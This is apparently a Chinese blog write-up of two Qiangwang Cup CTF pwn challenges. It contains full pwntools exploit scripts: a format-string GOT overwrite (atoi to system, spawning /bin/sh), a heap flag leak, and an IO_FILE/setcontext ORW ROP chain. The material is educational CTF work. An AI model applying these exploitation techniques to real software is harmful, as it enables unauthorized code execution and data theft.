我又来更新了 感觉过的好快 一下就又好久没更了 周末搞了下强网杯 搞不来 我真的菜啊感觉脑子是真的笨学习也没有很努力
flag-market

这里可以看到存在一个scanf溢出


这里可以看到可以溢出到format(我刚开始直接溢出到stdout去了 结果发现只能覆盖一个字节 不懂搞不来)

所以就可以搭配printf进行格式化字符串漏洞 不过注意这种格式化字符串都得要记得换下libc 没给的话可以看看给的dockerfile或者别的题的libc(一般来说的话可能是同一个libc)
刚开始我想的是先泄露libc然后直接atoi直接覆盖成system,然后再输入bin/sh就好了 但是有个dword_40430C = 1的限制 所以还是得要把exit覆盖成main再循环一遍。

经过动调发现 这里第二次输入后s的值参数位置是在第12个所以我们格式化字符串就改写这里 先把exit改成main函数
1 2 3 4 5 6 7 8 9 10 11 12
| p.sendlineafter("2.exit",b"1") p.sendlineafter("to pay?",b"-1") p.sendlineafter("e report",b"a"*0x100+b'%' + str(0x139b).encode() + b'c%12$hn'+b"%45$p")
gdb.attach(p) p.sendlineafter("2.exit",b"1") p.sendlineafter("to pay?",p64(0x404090)) p.recvuntil("0x") libc.address=int(p.recv(12),16)-0x2a28b log.success("libc_base==>",hex(libc.address)) system=libc.sym['system'] log.success("system",hex(system))
|
同时还泄露一下libc(注意printf执行是在第二次输入完成之后 也就是输入好exit地址后)
第二次也是一样的覆盖 将atoi覆盖成system 最后输入bin/sh就好了
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42
| from pwn import * filename = './chall' p= process(filename) elf = ELF(filename) context(arch = elf.arch, log_level = 'debug', os = 'linux') atoi=elf.got['atoi'] success("atoi",hex(atoi)) libc=elf.libc
p.sendlineafter("2.exit",b"1") p.sendlineafter("to pay?",b"-1") p.sendlineafter("e report",b"a"*0x100+b'%' + str(0x139b).encode() + b'c%12$hn'+b"%45$p")
#gdb.attach(p) p.sendlineafter("2.exit",b"1") p.sendlineafter("to pay?",p64(0x404090)) p.recvuntil("0x") libc.address=int(p.recv(12),16)-0x2a28b log.success("libc_base==>",hex(libc.address)) system=libc.sym['system'] log.success("system",hex(system)) low = libc.sym['system']&0xffff high = (libc.sym['system']>>16)&0xffff payload1=b"a"*0x100 payload1+=b'%' + str(low).encode() + b'c%12$hn' payload1+=b'%' + str(0x10000-low+high).encode() + b'c%13$hn'
p.sendlineafter("2.exit",b"2")
p.sendlineafter("2.exit",b"1") p.sendlineafter("to pay?",b"-1")
p.sendlineafter("e report",payload1) #gdb.attach(p)
p.sendlineafter("2.exit",b"1") p.sendlineafter("to pay?",p64(0x404080)+p64(0x404082))
p.sendlineafter("2.exit",b"/bin/sh")
p.interactive()
|
得到flag

不过我看网上别的师傅的wp感觉简单多了,直接找到flag存储在堆的位置然后直接printf就泄露出来了

不过我不太清楚这个位置是咋找出来的 不过确实是在这里 那就简单了

这里看到第九个参数和这个堆地址相近 所以可以泄露这个然后再加两个地址间的距离

我们把printf的参数覆盖成堆地址即可泄露flag了 也就第12个参数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| from pwn import * filename = './chall' p= process(filename) elf = ELF(filename) context(arch = elf.arch, log_level = 'debug', os = 'linux') atoi=elf.got['atoi'] success("atoi",hex(atoi)) libc=elf.libc
#gdb.attach(c) p.sendlineafter(b'2.exit',b"1") p.sendlineafter(b'pay?',b'-1')
p.sendlineafter(b'report:',b'a'*0x100+b'%9$p-%12$s')
p.sendlineafter(b'2.exit',b"1") p.sendlineafter(b'pay?',p64(0x4040c0)) p.recvuntil(b'\n') heap = int(p.recvuntil(b'-', True).decode(),16)+0x1e0 #gdb.attach(c) p.sendlineafter(b'2.exit',b"1") p.sendlineafter(b'pay?', p64(heap)) p.interactive()
|

得到flag
bph
一道堆题
这题也没给libc 你看其他题是啥libc自己猜吧

调试发现这里的printf可以泄露栈地址

最关键的就是这个add函数中的任意地址置零

这里发现还有限制诶 一般思路都是利用setcontext 劫持执行流然后构造rop 这里高版本利用的就是setcontext+61
1
| 所以我们可以劫持_IO_2_1_stdi中的_IO_buf_base的最后一字节为0,劫持后,调用fgets(stdin)时就可以部分控制_IO_2_1_stdin,接下来就可以完全控制_IO_buf_base,将其指向_IO_2_1_stdout就可以控制_IO_2_1_stdout。在新版的glibc中,set_context使用的是rdx寄存器,找到一个合适的gadgets去控制rdx,在_IO_switch_to_wget_mode
|

1 2 3
| 而`_IO_switch_to_wget_mode`函数被`IO_wfile_seekoff`调用,`IO_wfile_seekoff`正好在`vtable`表中 因此伪造`vtable`指向`_IO_wfile_jumps+0x10`的位置,那么当`puts`触发时调用`vtable+0x38`就是调用`_IO_wfile_jumps+0x48`,也就是调用`IO_wfile_seekoff`,在`_IO_wfile_seekoff`中 还有一些条件需要满足,首先`rcx`寄存器需要不为0,
|
1
| puts函数调用的位置很多,有些位置就能满足这种条件,比如在edit中,strtol成功解析数值,就会使得rcx寄存器不为0
|

构造好io结构体然后orw就行了
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78
| #coding:utf8 from pwn import *
sh = process('./chall') #sh = remote('47.94.214.30',38920) context.log_level = 'debug' sh.sendafter('token: ',b'a'*0x28) sh.recvuntil(b'a'*0x28) libc_addr = u64(sh.recv(6).ljust(8,b'\x00')) libc_base = libc_addr - 0xaddae print('libc_addr=',hex(libc_addr)) print('libc_base=',hex(libc_base)) _IO_2_1_stdin_addr = libc_base + 0x2038e0 _IO_2_1_stdout_addr = libc_base + 0x2045c0 _IO_2_1_stderr_addr = libc_base + 0x2044E0 _IO_buf_base_stdin_addr = _IO_2_1_stdin_addr + 0x38 _IO_file_finish_table_ptr = libc_base + 0x000000000202238 _IO_wfile_jumps = libc_base + 0x202228 set_context_xx = libc_base + 0x4A99D #pop rsp ; cmovne rax, rdx ; pop rbp ; ret pop_rsp = libc_base + 0x00000000000de080 print('set_context=',hex(set_context_xx)) pop_rdi = libc_base + 0x000000000010f78b pop_rsi = libc_base + 0x0000000000110a7d #pop rdx ; xor eax, eax ; pop rbx ; pop r12 ; pop r13 ; pop rbp ; ret pop_rdx = libc_base + 0x00000000000b503c open_addr = libc_base + 0x11C8A0 read_addr = libc_base + 0x11BA80 write_addr = libc_base + 0x11C590 close_addr = libc_base + 0x116710
def add(size,content): sh.sendlineafter('Choice:','1') sleep(1) sh.sendlineafter('Size:',str(size)) sleep(1) sh.sendafter('Content:',content) sleep(1)
def edit(index): sh.sendlineafter('Choice:','2') sleep(1) #input() sh.sendafter('Index:',index) sleep(1)
rop_addr = _IO_2_1_stderr_addr + 0x8 flag_addr = rop_addr + 0xa8 #a8是下面到./flag前的长度 rop = p64(pop_rdi) + p64(flag_addr) + p64(pop_rsi) + p64(0) + p64(open_addr) rop += p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(flag_addr) + p64(pop_rdx) + p64(0x100) + p64(0)*4 + p64(read_addr) rop += p64(pop_rdi) + p64(1) + p64(pop_rsi) + p64(flag_addr) + p64(write_addr) #rop = p64(pop_rdi) + p64(0) + p64(close_addr) rop += b'./flag' rop = rop.ljust(_IO_2_1_stdout_addr - rop_addr,b'\x00')
#hijack IO_stdin's buf_base add(_IO_buf_base_stdin_addr + 1,'a') #这里就置劫持_IO_2_1_stdin中的_IO_buf_base的最后一字节为0 #hijack IO_stdin to point _IO_2_1_stdout_addr sh.send(p64(rop_addr - 0x2)*4 + p64(_IO_2_1_stdout_addr+0xe8))#指向下面的 这里输入地方是stdin sleep(1) sh.sendlineafter('Choice:','')
fake_IO_stdout = p64(_IO_2_1_stderr_addr) + p64(0)*2 + p64(set_context_xx) + p64(_IO_2_1_stdout_addr) fake_IO_stdout = fake_IO_stdout.ljust(0x88,b'\x00') fake_IO_stdout += p64(_IO_2_1_stdout_addr + 0x60) #lock fake_IO_stdout = fake_IO_stdout.ljust(0xa0,b'\x00') fake_IO_stdout += p64(_IO_2_1_stdout_addr)
fake_IO_stdout += p64(pop_rsp) #set_context ret
fake_IO_stdout = fake_IO_stdout.ljust(0xd8,b'\x00') fake_IO_stdout += p64(_IO_wfile_jumps + 0x10) fake_IO_stdout += p64(_IO_2_1_stdout_addr) #0xe8 #input() payload = b'1\n' + rop + fake_IO_stdout #最前面是两字节 edit(payload)
sh.interactive()
|
得到flag

这题wp我基本参照别的师傅的 我觉得写的比别的wp详细多了,所以搬过来给自己看看 反正我写的博客应该也没人看吧
两个多月没发博客了 我好菜啊 有没有师傅可以互相交流学习一下 我本人比较社恐平时没有人交流所以真的挺需要的,关于里面有我的qq可以加。最后感谢你能看到这 希望能让你学到些东西。
1 2 3
| 参考网址: https://blog.xmcve.com/2025/10/20/%E5%BC%BA%E7%BD%91%E6%9D%AFS9-Polaris%E6%88%98%E9%98%9FWriteup/#title-5 https://mp.weixin.qq.com/s/oHrFdG0vvHKNlWguUWVXAA
|